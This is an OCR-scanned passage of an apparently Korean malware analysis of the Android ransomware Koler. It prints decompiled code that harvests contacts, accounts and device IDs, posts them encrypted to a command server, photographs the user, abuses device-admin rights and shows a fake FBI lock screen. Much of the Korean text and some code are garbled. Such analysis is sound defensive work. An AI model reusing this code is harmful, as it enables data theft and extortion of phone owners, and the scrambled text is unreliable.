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Trojan/Win32.Banki (2014.08.29.00)
Trojan/Win32.Agent (2014.09.11.03)
Trojan/Win32.Qhosts (2014.09.12.00)
Trojan/Win32.Connector (2014.11.15.00)
Trojan/Win32.Banker (2014.11.24.04)
Trojan/Win32.StartPage (2014.12.30.00)
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<?xml version="1.0" encoding="utf-8'?>

<manifest xmlns:android="http://schemas.android.com/apk/

res/android" android:versionCode="1"
android:versionName="1.0" package="hmv.

3-2|717| etafxt 25t A

paafyx.bbuzrdt”>
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<uses-sdk android:minSdkVersion="9"/>

<uses-permission android:name="android.permission.
INTERNET"/>

<uses-permission android:name="android.permission.
ACCESS_NETWORK_STATE"/>

<uses-permission android:name="android.permission.
READ_PHONE_STATE"/>

<uses-permission android:name="android.permission.
RECEIVE_BOOT_COMPLETED"/>

<uses-permission android:name="android.permission.
WAKE_LOCK"/>

<uses-permission android:name="android.permission.GET_

ACCOUNTS"/>

<uses-permission android:name="android.permission.
WRITE_EXTERNAL_STORAGE"/>

<uses-permission android:name="android.permission.
READ_EXTERNAL_STORAGE"/>

<uses-permission android:name="android.permission.
SYSTEM_ALERT_WINDOW"/>

<uses-permission android:name="android.permission.
CAMERA"/>

<uses-permission android:name="android.permission.
READ_CONTACTS"/>

<uses-permission android:name="android.permission.GET_

TASKS"/>

<uses-permission android:name="android.permission.
WRITE_SETTINGS"/>

<uses-permission android:name="android.permission.
VIBRATE"/>

<uses-feature android:name="android.hardware.camera.
front" android:required="False"/>

<uses-feature android:name="android.hardware.telephony"/>

<uses-permission android:name="android.permission.
READ_CONTACTS"/>

<application android:label="(@0x7f050000" android:icon="@0x
7f020001" android:screenOrientation="1"

android:configChanges="0xb0">
<activity android:label="@0x7f050000" android:icon="@0x
7f020001"
android:name="SampleOverlayShowActivity" android:screenOri
entation="1" android:configChanges="0xb0">
<intent-filter>

<action android:name="android.intent.action.MAIN"/>

<category android:name="android.intent.category.

LAUNCHER"/>

</intent-filter>

</activity>

<activity android:theme="@0x103000b" android:name="Sa
mpleOverlayHideActivity"/>

<service android:name="0verlayService"/>

<receiver android:name="hmv.paafyx.bbuzrdt.bootme"

android:permission="android.permission.RECEIVE_BOOT_
COMPLETED">
<intent-filter android:priority="999">
<action android:name="android.intent.action.
REBOOT"/>
<action android:name="android.intent.action.BOOT_
COMPLETED"/>
<action android:name="android.intent.action.
QUICKBOOT_POWERON"/>
</intent-filter>
</receiver>
<receiver android:name="hmv.paafyx.bbuzrdt.AlarmManag
erBroadcastReceiver”/>
<receiver android:label="PornDroid" android:name="hmv.
paafyx.bbuzrdt.catcher”
android:permission="android.
permission.BIND_DEVICE_ADMIN" android:enabled="True">
<meta-data android:name="android.app.device_admin”
android:resource="[@0x7f040000"/>
<meta-data android:name="checkDelay"
android:value="1"/>
<meta-data android:name="preventRestart”
android:value="True"/>
<meta-data android:name="stopOnDeviceLock"
android:value="False"/>
<intent-filter>
<action android:name="android.app.action.ACTION_
DEVICE_ADMIN_DISABLED"/>
<action android:name="android.app.action.ACTION_
DEVICE_ADMIN_DISABLE_REQUESTED"/>
<action android:name="android.app.action.DEVICE _
ADMIN_ENABLED"/>
</intent-filter>
<category android:name="android.intent.category.
DEFAULT"/>
</receiver>
<meta-data android:name="sub" android:value="8"/>

</application>

</manifest>

1% 3-4 | Android-Trojan/Koler2| AndroidManifest.xml
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Android-Trojan/Koler=
A0 CHSH HM2 HSHE QST HES =
St QIE{SHlo]| ek 4= QUCE T2 o] 2t A
Qsh=0|, TH FHH2tofl CiEt Hets 245
Ch ClHIO| AT REIE|H XS = AR5t 7|
t2| Xt 2t Chgh S2+2 sh= 7|s0| QT

mLof = ofd M

HEIX| YL} QF X
5 3 Mel=

ol jjor
o Mo ro

-

N R
o3

LN
-
a2
0x
£
=

¥al

-~

re
|
Hu
°
N
2
lo
>
03
ir
ro
(g]
o
[}
[
@D
(2]
o
(0]
x
i=
o
=

10
mju
&4
[>
min
H
re
e
rm
H
g'g
Ho

g sl A
-5]2t ZCh EPOIA O
MHE[H|E|Ql SampleOverlayShowActivity
O LHEOM A3E[= RequestTask,
PhotoMaker, catcher, TestWebViewClient,
WebApplnterface 22iASS & 4 QICh

o mu 4r
z
N
ﬂ
>
N
HL
rl:l
4
o
w

o

1213-5 | classes.dex LY LYEo| SajA

A=

aJls2 delstH 3

- 2HR P
- B2(R Ast

* http://advsystempi.com/api/app.php 212

SampleOverlayShowActivity
« WebViewE £l file:///android_asset/video.html A48
-E27|7l2Ee T

— RequesTask

« M| HR10] 241
—> PhotoMaker KZ,;L::‘!W
- S
g TestWebViewClient
o g WebApplinterface

- 2R} st

«SYYURL

- xjoh Az olEfEiolA
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3-6 | Android-Trojan/Koler 42| F2 SafA

4.2. SampleOverlayShowActivity
Q! HEH|E|2I SampleOverlayShowActivity
SAS XtM|5| AHEH [O2] 3-7]aF 2Tt
protected void onCreate(Bundle p21)
{

this.onCreate(p21);

if(this.getSharedPreferences(“cocon”, 0).getInt("status", 0)
==77){

Process.killProcess(Process.myPid());

}

v1 = new RequestTask(this);
v2 = new String[3];

v2[0] =
v2[1] =
v2[2] =
vl.execute(v2);

"http://advsystemapi.com/api/app.php”;
“start”;

v9 = this.managedQuery(ContactsContract}CommonDataK

inds$Phone.CONTENT_URI, 0, 0, 0, 0)
.getCount();

v18 =0;

v14 = this.getContentResolver().query(ContactsContract$C
ommonDataKinds$Phone.CONTENT_URI,

0,0,0,0);
V13 ="
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while (v14.moveToNext() != 0] {
v18=(v18 + 1);
v13 = new StringBuilder(String.valueOf(v13)).append(v14.
getString(v14.getColumnindex("data1")))

.append(" ").append(v14.
getString(v14.getColumnindex("display_name")))
.append(" “).toString();
if(v18 > 5) {
break;
}

}
v12 = this.getSharedPreferences("cocon”, 0).edit();
v12.putint(*countphones”, v9);
v12.putString(“listphones", v13);
v12.commit();
this.devicePolicyManager = this.getSystemService("device_
policy");
this.demoDeviceAdmin = new ComponentNamel(this,
catcher);
if(this.devicePolicyManager.isAdminActive(this.
demoDeviceAdmin) == 0) {
this.ebat();
Yelse {
this.colotit();
}

return;

12 3-7 | SampleOverlayShowActivity 22

SampleOverlayShowActivity 22iA0| =
o, Slizh oM MO RequestTaskE SS51HA
Ii2H0|E = M
com/api/app.phpZ Al
Z0l| MEE A2t JHpet A2y HEE 210
SharedPreferencesoi| X‘I FSH f-9|<5'°”01|‘-+3|
Xt #to| 2Oi=|AUE=X|E gfelstn &
o2 AR ebatZ S5 R2|X} AHsHS ?:“.:Ef

N

F20! http://advsystemapi.
SHC} S ADIE

HSH0| QIO colotitE SESIHCL

protected void ebat()
{
v0 = new Intent("android.app.action.ADD_DEVICE_ADMIN"];
v0.putExtra(“android.app.extra.DEVICE_ADMIN", this.
demoDeviceAdmin];
v0.putExtral("android.app.extra.ADD_EXPLANATION", “To run
the application - activate");
this.startActivityForResult(v0, 47);

return;

)

22| Xt 250l TSt catcherE $&6t1 A2|=|™

onActivityResult?} SZEIC},

protected void onActivityResultlint p3, int p4, Intent p5)
{
switch(p3) {
case 47:
if (pd 1= 15) {
Log.i("DevicePolicyDemoActivity",
enable FAILED!");
this.ebat();
}else {

“"Administration

Log.i("DevicePolicyDemoActivity",
enabled!");
this.colotit();
}
break;
default:

“"Administration

super.onActivityResult(p3, p4, p5);
}

return;

}
1213-9 | onActivityResult &
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protected void colotit()
{
v6 = new PhotoMaker(this);
v7 = new String[1];
v7[0] = "davai”;
vé.execute(v7);
this.alarm = new AlarmManagerBroadcastReceiver();
this.alarm.SetAlarm(this);
v2 = this.getSharedPreferences("cocon”, 0);
iflv2.getInt("status”, 0) = 77) {
this.camera = v2.getInt("camera”, 0);
if(this.camera == 1] {
this.pict = v2.getString(“face”, “facenull”);
if(this.pict.contains("facenull”) == 0] {
this.face = 2;
}else{

this.face = 1;

if(this.camera == 2) {
this.face = 1;

v0 = this.getSharedPreferences("cocon”, 0).edit();

v0.putint(“start”, 1);

v0.putLong("starttime”, Long.valueOf((System.
currentTimeMillis() / 1000.0)).longValue(), 1000.0);

v0.commit();

this.setContentView(2130903040);

v1 = this.findViewByld(2131165184);

v1.setWebViewClient(new SampleOverlayShowActivity$T
estWebViewClient(this, 0));

v1.getSettings().setJavaScriptEnabled(1);

v1.getSettings().setSupportZoom(0);

v1.getSettingsl().setSaveFormData(0);

v1.getSettings().setSupportMultipleWindows(0);

v1.getSettings().setBuiltinZoomControls(0);

v1.getSettings().setUseWideViewPort(1);

v1.getSettings().setRenderPriority(WebSettings$Render
Priority.HIGH);

v1.getSettings().setCacheMode(2);

vl.addJavascriptinterface(new SampleOverlayShowActiv
ity$WebApplnterfacelthis, this), "Bot");

v1.loadUrl("file:///android_asset/video.html");

}else {

Process.killProcess(Process.myPid());
}

return;

JCI222 PhotoMaker S{AE A|ZFsHC}
AlarmManagerBroadcastReceiver.Set-

Alarm2 S&3iM 22 F7|2 AlarmManage-

rBroadcastReceiver 222 SE§ICt Web-
View0l| file:///android_asset/video.htm!2
£212t 31H0i| LIEH 1 XHIAITZE QIEHO|A S
2iA21 SampleOverlayShowActivity$WebA
ppinterfaceE SFSICt video.htmlOfA ALEXt
7+ 23 E Z2/51H SampleOverlayShowActiv
ity$TestWebViewClient7} SHAS AlSlisiTt,
video.htmlOjM HO{FE SGH2 Mol S2HE 2

HXZ, AZAI2| 2E R

4.3. RequestTask
RequestTask= At S41 2& S2|A0|Ct

RequesTask

« http://advsystempi.com/api/app.php 12
« B B, OlnU A i S M B

+ OverlayView 444

OverlayService

J213-11 | Mt EA1 254 Z2)AQI RequestTask S HHAl

protected varargs String dolnBackground(String(] p43)
{

v19 = new DefaultHttpClient();

v29 = new BasicResponseHandler();

v28 = new HttpPost;
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v28(p43[0]);
v25 = new ArrayList;
v25(2);
v36 = "n/a";
v9 = this.mContext.getSystemService("connectivity");
if(v9.getActiveNetworkinfol).getType() = 0) {
v21=0;
Yelse {
v21=1;

v22 = v9.getNetworkInfo(1).isAvailable();
iftv21 1= 0] {
v36 = "mobile”;

iflv22 1= 0) {
v36 = "wifi";

—

3-12 |HEY= H 2ol

=t

RequestTask= HZAE HER3I HEI}t ZHI
HIER3 LIX| 2L0[mO|(WiFi) YRIX| Eolstct,

VI7=""
v4 = AccountManager.get(this.mContext].getAccountsl();
v38 = v4.length;
v37 = 0;
while (v37 < v38) {

v3 = v4[v37];
if(Patterns.EMAIL_ADDRESS.matcher(v3.name).
matches() 1= 0) {
v17 = new StringBuilder(String.valueOf(v17)).append(”,
").append(v3.name).toString();
}
v37 = (v37 + 1);
}
v33 = this.mContext.getSharedPreferences("cocon”, 0};
v34 = v33.getnt("status”, 0);
v8 = v33.getint("camera”, 0J;
“null”);
v11 = new StringBuilder(String.valueOf(""))

v10 = v33.getString("pcode”,

.append(Settings$Secure.getString(this.mContext.

getContentResolver(), “android_id"))
.append(":-:").toString();
v38 = new StringBuilder;
v38(String.valueOf(v11));
v11 = v38.append|(this.mContext.getSystemService("phone”
").toStringl);
v38 = new StringBuilder;
v38(String.valueOf(v11));
v38 = new StringBuilder;

32 3-13 | 78 FE &l U oo HeHo| AE 7

210f atiE A
= AFIEH

).getDeviceld()).append(*":-:"

7ol SEE0 A= AE FEE
O] o|H| HEHQ! A<, oof| CHSt & &
et SharedPreferencesof| 7|23ME ZHE M
HHE 9l=L}.

LI

A
=2 THC

v38(String.valueOf(new StringBuilder(String.valueOf(new
StringBuilder(String.valueOf
(v38.append(this.mContext.getSystemService("phone").
).toString()))
.append(this.getDeviceName(]).append(“:-:"].toString(]]).
append(Build$VERSION.RELEASE).append(":-:").toString()));

v7 = Baseb4.encodeToString(MCrypt.bytesToHex(new

getLine1Number()).append(":-:"

MCrypt().encrypt(new StringBuilder(String.valueOf(new
StringBuilder(String.valueOf(new StringBuilder(String.
valueOf(new StringBuilder(String.valueOf(

new StringBuilder(String.valueOf(new StringBuilder(String.
valueOf(

new StringBuilder(String.valueOf(v38.append|(this.mContext.
getSystemService("phone”)
.getNetworkOperatorName()).append(":-:").toString(])).
).toString())).append(v17]).
).toString())).append|(this.mContext.getResourcesl().

append(v3é).append(”:-:"
append|(":-:"
getConfiguration().locale.getCountry()).append(":-:").
toString())).append(String.valueOf(v34)).append(":-:").
toString())).append(String.valueOf(v8)).append|(":-:").toString())).
append(v10).append(":-:").toString())).append(p43[2]).
toString())).getBytes("UTF-8"), 0);

J213-14 | HHE7| HE oS3
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MCrypt.encryptE S5t 7| 242 0|83l 2
Clo |

21012 Y S0 3P| TS, Ee| 2, H|x
AL B, HEQS ME, 27HHE, o|H Y AE &

7t
H AR 0 S| HHE SIS,

v38 = new BasicNameValuePair;

v40 = new StringBuilder;

v4O("#");

v38(“imei”,

v40.append|(this.mContext.getSystemService("phone”).
getDeviceld()).toString());

v25.add(v38);

v25.add(new BasicNameValuePair("cmd", p43[1]));

v25.add(new BasicNameValuePair("sub"”
valueOf(v23)));

v37 = new BasicNameValuePair;

v37("data”, v7);

v25.add(v37);

v37 = new UrlEncodedFormEntity;

v37(v25);

v28.setEntity(v37);

v30 = v19.execute(v28, v29);

213-15 | =3}t CllolE H&

, String.

2f&stet S5t MHZEEH S
C

-

{0 E MHZE T
to
=

E|
S 2h=rt

if(v30.length() > 3) {
if(v30.contains("alllock") != 0) {

v16 = this.mContext.getSharedPreferences("cocon”,
0).edit();

v16.putint(“status”, 0);

v16.putint("animation”, 0);

v16.putString(“pcode”, "");

v1é6.commit();

this.mContext.startService(new Intent(this.mContext,
OverlayService));

}

if(this.mContext.getSharedPreferences("cocon”,
0).getInt("status”, 0) == 77) {

Process.killProcess(Process.myPid());

iflv30.contains("unlock”] = 0) {

v16 = this.mContext.getSharedPreferences("cocon”,
0).edit();

v16.putint(“status”, 77);

v16.commit();

v20 = new Intent;

v20(this.mContext, OverlayService);

v20.putExtra(“close”, “allclose”);
this.mContext.startService(v20);

iflv30.contains(“incorrect”) = 0) {
v16 = this.mContext.getSharedPreferences("cocon”,
0).edit();
v16.putint(“status”, 3);
v16.commit();
this.mContext.startService(new Intent(this.mContext,
OverlayService));

}

if(v30.contains("usecode”) != 0) {
v16 = this.mContext.getSharedPreferences("cocon”,
0).edit();
v16.putint(“status”, 4);
v1é.commit();
this.mContext.startService(new Intent(this.mContext,
OverlayService));

}

iflv30.contains("alllock”) = 0) {

Log.i("muuuu”, "ooopppsss”);

v16 = this.mContext.getSharedPreferences("cocon”,
0).edit();

v1é.putint("status”, 0);

v16.putint(“animation”, 0);

v16.putString(“pcode”, "");

v16.commit();

this.mContext.startService(new Intent(this.mContext,
OverlayService));

}

72 3-16 | OverlayService &
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MEO|M 22 HO|E0f Z&HEl L2 o] &8l
StCt, Ol alllock,

unlock, incorrect, usecode S0 2t

OverlayServiceE &

status 242 CI=7| 5101 OverlayServiceE S&
it

4.4. PhotoMaker
PhotoMaker= AOIEZES| MH FHH|2HE 0|26t
AEX L= 2} 2HE ZaA0|C

PhotoMaker « FE Floa ARl 21
L PhotoHandler oAbl AR

3-17 | PhotoMaker SZ 4l

protected varargs String doInBackground(Stringl] p7)
{
v =0;
this.openFrontFacingCameral();
this.cameras = this;
if(this.cameras == 0) {
v0 = this.mContext.getSharedPreferences("cocon”,
0).edit();
v0.putInt(“"camera”, 2J;
v0.commit();
Yelse {
this.cameras.takePicture(v5, v5, new PhotoHandler(this.
mContext));
}

return 0;

ANEE 7HH[2t &

12! 3-18 | openFrontFacingCamera S& 2!

openFrontFacingCameraZ S&50{ AQIE

= HHEO| FHH2tef AR Yo 2Rt 2YS 5t

1 FHH|2tS AlSlSiC} cameras.takePictureS
A5t AFEIO| ZE|11 0|0 PhotoHandler7t
SESICL

4.5. PhotoHandler

public void onPictureTaken(byte[] p13, Camera p14)
{
this.getDir();
if((this.exists() = 0) || (this.mkdirs() = 0)) {
v3 = new
StringBuilder(String.valueOf(this.getPath())).append|(File.
separator).append(new StringBuilder("Picture_").append(new
SimpleDateFormat("yyyymmddhhmmss")
.format(new Date())).
append(".jpg").toString()).toString();
V&4 = new FileOutputStream(new File(v3));
vé.writelp13);
vé.closel);
v2 = this.context.getSharedPreferences("cocon”, 0).edit();
v2.putint(*camera®, 1);
v2.putString(“face”, v3J;
v2.commit();
Yelse{
v2 = this.context.getSharedPreferences("cocon”, 0).edit();
v2.putint(*camera”, 2J;
v2.commit();
}

return;

J213-19 | 2SS AR L T|E, ofd A2 &

e

ZA5H AFEIZ Picture_yyyymmddhhmmss.
jpg’eh= O0IE2= Msta, 2 7|20t it H=2
£ XSt

4.6 catcher
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public CharSequence onDisableRequested(Context p5, Intent
pé)
{
this.abortBroadcast();
v0 = new Intent("android.settings.SETTINGS");
v0.setFlags(1073741824);
v0.setFlags(268435456);
p5.startActivity(v0);
v1 = new Intent("android.intent.action.MAIN");
vl.addCategory(“android.intent.category.HOME");
v1.setFlags(268435456);
p5.startActivity(v1);
return “This action will reset all your data. Click "Yes" and
your's device will reboot and "No" for cancel.”;

}

1213-20 | catcher &5

catcher= ARRXIZL 7|7 22X AstE H
Sl SEEICH ARBAIL 717| 22Xt HEHE HIgkH

3l51M catchers Sample-OverlayShowAct-
ivityS AJlA|Z| 1, “This action will reset all
your data. Click “Yes” and your's device
will reboot and “No” for cancel.” O|2t= At
BIC} 7|7] 22 |Xt 25| HIZHESE A%
42 2 E Ho[E7t =7|gtElctn A5k
2, AEAt 22Xt At SHRIS SHX| =S
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4.7. bootme
bootme= BRI A &
Ch

Afoh= 2|AIH S2iA 0]

s AlarmManagerBroadcastReceiver [REEgs]

—

OverlayService '%‘grlay View

1=

12 3-21 | bootme Z2HA SZH 4t

public void onReceive(Context p5, Intent p6)
{
this.alarm = new AlarmManagerBroadcastReceiver();
this.alarm.SetAlarm(p5);
if(p5.getSharedPreferences(“cocon”, 0).getint("status”, 0) !=
7704
p5.startService[new Intent(p5, OverlayService));
}else {

Process.killProcess(Process.myPid());

return;

[

121 3-22 | AlarmManagerBroadcastReceiver & 2 22t MY

CH7|7} HEIZ|H AlarmManagerBroadcast-
ReceiverE $&4l| 22 7|2 S&lot= 222 M

5110 OverlayServiceE ARSI,

4.8. AlarmManagerBroadcastReceiver
AlarmManagerBroadcastReceivers %A
SEE EZEIHAE 2|AlH ZEO|CL

AlarmManagerBroadcastReceiver RFEEAEEEES]

OverlayService

—
—

RequestTask

2| 3-23 | AlarmManagerBroadcastReceiver St HA!
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public void onReceive(Context p14, Intent p15)
{
v8 = pl4.getSystemService("power”).newWakelLock(1,
"YOUR TAG");
v8.acquire();
v3 = pl4.getSharedPreferences("cocon”, 0);
v4 = v3.getInt("start”, 0);
v5 = Long.valueOf(v3.getLong("starttime”, 0.0, v11));
vé = Long.valueOf((System.currentTimeMillis() / 1000.0));
if((v4 == 1) && ((v5.longValue() + 30.0) < 0)) {
pl4.startService(new Intent(p14, OverlayService));
v1 = pl4.getSharedPreferences("cocon”, 0).edit();
v1.putint("start”, 2J;
vl.commit();

v9 = new RequestTask(p14);
v10 = new String[3];

v10[0] = "http://advsystemapi.com/api/app.php”;
v10[1] = "timer";

vi10[2] =

v9.execute(v10);

v8.releasel();

return;

}
3-24 | OverlayService &3

OverlayService

{0l Exfot =% 45

+ View7} 84 Z49(0] EXYSIS A
OverlayView - BiE 22| Xt
« file:///android_asset/index.html &2

1213-25 | OverlayService SZ Al

public void onCreatel()

{
super.onCreatel();
this.instance = this;
this.overlayView = new OverlayView(this);
return;
}

public int onStartCommand(intent pé, int p7, int p8)
{

V0 = U;
if(pé 1= 0 {

v0 = p6.getExtras|();
}

if((v0 = 0) && (v0.getString("close") = 0)) {
this.cancelNotification = 1;
this.moveToBackground(this.id, 1);
this.getSystemService("notification”).cancel(this.id);
Process.killProcess(Process.myPid());

}

if(this.overlayView != 0) {
this.overlayView.refreshLayout();

}
. return 1;
4.9. OverlayService }
OverlayService i 24 4ol 30| SHAF A
DIEZ2| R0l ARBZE Hofsh= S244 2
CO|Ck
MH|AZ} A|ZE|H OverlayViewZiHIE M
M5t1, ‘close’ HHO 7} MM ZS=EICL
overlayView.refreshLayout()S £&3ICt.
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protected Notification foregroundNotification(int pé)
{
v0 = new Notification(2130837504, "FBI"
currentTimeMillis());
v0.flags = ((v0.flags | 2) | 8);
v0.setLatestEventInfolthis,
Zoophilia detected”, 0);

, System.

“FBI", "Child’'s porn and

return v0;

—

0213-27 | 519 ZDE AA

0[0f Ot S2t=0| ZX|=|UCk= FBIE A 8
S SEGICL

4.10. OverlayView

public void refreshLayout()
{
if(this.isVisible() != 0] {
this.removeAllViews();
this.inflateView();
this.onSetupLayoutParams();
this.getContext().getSystemService("window").
updateViewLayout(this, this.layoutParams);
this.refresh();
}

return;

-

121 3-28 |inflateView &

MH[A AJEFA] 49 E 2472l OverlayView7t

inflateViewZ S&35IC}

private void inflateView()
{

this.getContext().getSystemService("layout_inflater”).
inflate(this.layoutResld, this);

this.onlnflateView();

v1 = this.findViewByld(2131165185);
v1.getSettings().setJavaScriptEnabled(1]);
v1.getSettings().setSupportZoom(0);
v1.getSettings().setSaveFormData(0);
v1.getSettings().setSupportMultipleWindows(0);
v1.getSettings().setBuiltinZoomControls(0);
v1.getSettings().setUseWideViewPort(1);
v1.getSettings().setRenderPriority(WebSettings$RenderPri
ority.HIGH);
v1.getSettings().setCacheMode(2);
vl.addJavascriptinterface(new OverlayView$WebApplInterf
ace(this, this.getContext()), "Bot");
v1.loadUrl("file:///android_asset/index.html");
return;

-

J213-29 | SHE e S5

inflateView= ADIEZE 3194 2|0]| file:///androi
d_asset/index.htm(S LIEIHT Kt} A3

E QIE{H|0]AQI OverlayView$WebAppIn—

terfaceE SEs5H}.

protected void addView() {
this.setupLayoutParams|();
this.getContext().getSystemService("window").
addViewl(this, this.layoutParams);
super.setVisibility(8);

return;

-
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